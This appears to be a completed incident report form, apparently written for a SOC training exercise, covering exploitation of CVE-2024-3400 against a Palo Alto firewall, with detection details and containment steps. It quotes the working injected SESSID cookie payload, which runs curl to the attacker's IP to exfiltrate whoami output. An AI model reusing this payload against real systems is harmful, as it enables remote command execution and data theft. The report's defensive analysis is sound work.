Date of Report: _____

Contact Person

Full name
Ahmed Emad Nasr

Job title / role
Incident Response Analyst

Department / team
Security Operations Center (SOC)

Email address
Ahmed.em.nasr@gmail.com

Phone number
+201018166445

The Incident

Date and time discovered:
Apr, 18, 2024, 03:09 PM.

How was the incident detected? (E.g., user report, monitoring system alert)

A Critical alert was triggered in the Monitoring system under the rule "SOC274 - Palo Alto Networks PAN-OS Command Injection Vulnerability Exploitation (CVE-2024-3400)".

Detailed description of the incident (include what occurred, where, and how):

- An external source IP (144.172.79.92) sent a malicious HTTP POST request targeting the destination IP 172.16.17.139 (Hostname: PA-Firewall-01).
- The request was directed to the URL /global-protect/login.esp and contained a maliciously crafted payload within the SESSID cookie.
- The injected cookie payload was designed to exploit CVE-2024-3400 by attempting to execute a reverse shell command: SESSID=../../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}144.172.79.92:4444?user=$(whoami)` .
- The Device Action recorded for this request was "Allowed".
- Subsequent log analysis confirms that the firewall (172.16.17.139) successfully executed the command, as evidenced by an outbound connection originating from the firewall to the attacker's IP (144.172.79.92) at Apr 18, 2024, 15:09:42.
- The attacker's IP (144.172.79.92) had been flagged as "Malicious" in the Threat Intelligence feed on Apr, 18, 2024, 02:15 PM, prior to the attack.

Was the incident ongoing at the time of report?

☐ Yes ☒ No

Have any files, accounts, or systems been compromised?

☒ Yes ☐ No

If yes, please describe:

The system PA-Firewall-01 (172.16.17.139) is confirmed to be compromised. The execution of the injected curl command and the resulting outbound network connection verify that arbitrary code execution was successful.

Notification

Was your supervisor or manager notified?

☒ Yes ☐ No

Date/time of notification:
April 3, 2026

Was the IT/security team alerted?

☐ Yes ☐ No

If yes, who was contacted and how? (e.g., email, phone, ticket)
Escalated to the Incident Response and Network Security team

Containment Measures

What immediate actions were taken to contain the threat? (E.g., system shutdown, network isolation)

- Isolate the compromised PA-Firewall-01 to prevent the attacker from pivoting into the internal network.
- Block all inbound and outbound traffic to/from the malicious IP 144.172.79.92 across all perimeter defenses.

Were any user accounts disabled, firewalls updated, or services suspended?

☒ Yes ☐ No

If yes, provide details:

GlobalProtect services on the affected firewall should be suspended immediately until the device can be patched and remediated.

Impacted Services Measures

List any systems, devices, or applications affected by the incident:

Palo Alto Networks Firewall (PA-Firewall-01 / IP: 172.16.17.139).

Estimated number of affected users, if applicable:

N/A (System-level compromise).

Was there any known data loss or exposure?

☒ Yes ☐ No

If yes, describe the type of data (e.g., personal info, credentials, financial):

ystem identity data exposure is confirmed. The payload specifically executed the whoami command and transmitted the result via the URI parameters to the attacker's server. Furthermore, CVE-2024-3400 allows unauthenticated attackers to execute arbitrary code with root privileges, meaning complete system compromise and potential access to configuration files and sensitive data residing on the firewall is highly probable.

Preliminary Analysis *(Optional)*

Suspected cause or entry point (e.g., phishing email, unpatched software):

Suspected cause or entry point (e.g., phishing email, unpatched software):

- Exploitation of an unpatched vulnerability (CVE-2024-3400) in the GlobalProtect feature of Palo Alto Networks PAN-OS. This vulnerability involves command injection as a result of an arbitrary file creation flaw, carrying a maximum CVSS Base Score of 10.0 (Critical).

Was the threat internal, external, or unknown?

☐ Internal ☒ External ☐ Unknown

Submitted by:

Ahmed Emad Nasr	Ahmed Emad Nasr	
Name	**Signature**	**Date submitted**